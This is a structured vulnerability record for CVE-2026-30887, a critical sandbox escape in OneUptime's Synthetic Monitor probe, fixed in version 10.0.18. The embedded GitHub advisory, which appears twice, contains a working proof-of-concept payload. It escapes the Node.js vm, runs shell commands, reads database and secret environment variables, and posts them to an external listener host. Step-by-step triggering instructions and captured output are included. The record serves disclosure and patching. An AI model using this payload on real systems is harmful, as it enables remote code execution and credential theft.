{"id":"CVE-2026-30887","aliases":["EUVD-2026-10420","GHSA-h343-gg57-2q67"],"status":"published","title":"OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0045,"percentile":0.39529,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-03-07T02:30:09Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"npm","package":"@oneuptime/common","fixed_in":["10.0.18"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@oneuptime/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.0.18"}]}]},{"source":"osv","ecosystem":"npm","package":"@oneuptime/common","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.0.18"}]}]}],"products":[{"vendor":"hackerbay","product":"oneuptime"},{"vendor":"oneuptime","product":"oneuptime"}],"references":[{"url":"https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30887","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h343-gg57-2q67"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30887.json","tags":["advisory"]},{"url":"https://github.com/OneUptime/oneuptime","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-30887","title":"OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.","status":"published","published":"2026-03-09T22:40:04.425Z","modified":"2026-03-10T14:00:44.197Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:43:56.024247Z"}],"euvd":[{"id":"EUVD-2026-10420","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.","status":"published","published":"2026-03-09T22:40:04Z","modified":"2026-03-10T14:00:44Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:05.412027Z"}],"ghsa":[{"id":"GHSA-h343-gg57-2q67","title":"OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE","description":"### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module \u0026 run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) =\u003e {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---","status":"published","published":"2026-03-07T02:30:09Z","modified":"2026-03-10T18:44:05Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:33.538417Z"}],"nvd":[{"id":"CVE-2026-30887","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.","status":"published","published":"2026-03-10T17:40:14.887Z","modified":"2026-06-17T10:33:05.737Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-30887","title":"OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.18, OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. This vulnerability is fixed in 10.0.18.","status":"published","published":"2026-03-09T22:40:04.425Z","modified":"2026-10-28T02:30:49.085744615Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:00.861953Z"},{"id":"GHSA-h343-gg57-2q67","title":"OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE","description":"### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module \u0026 run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) =\u003e {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---","status":"published","published":"2026-03-07T02:30:09Z","modified":"2026-03-10T18:48:41.920055Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:48.546324Z"}]}}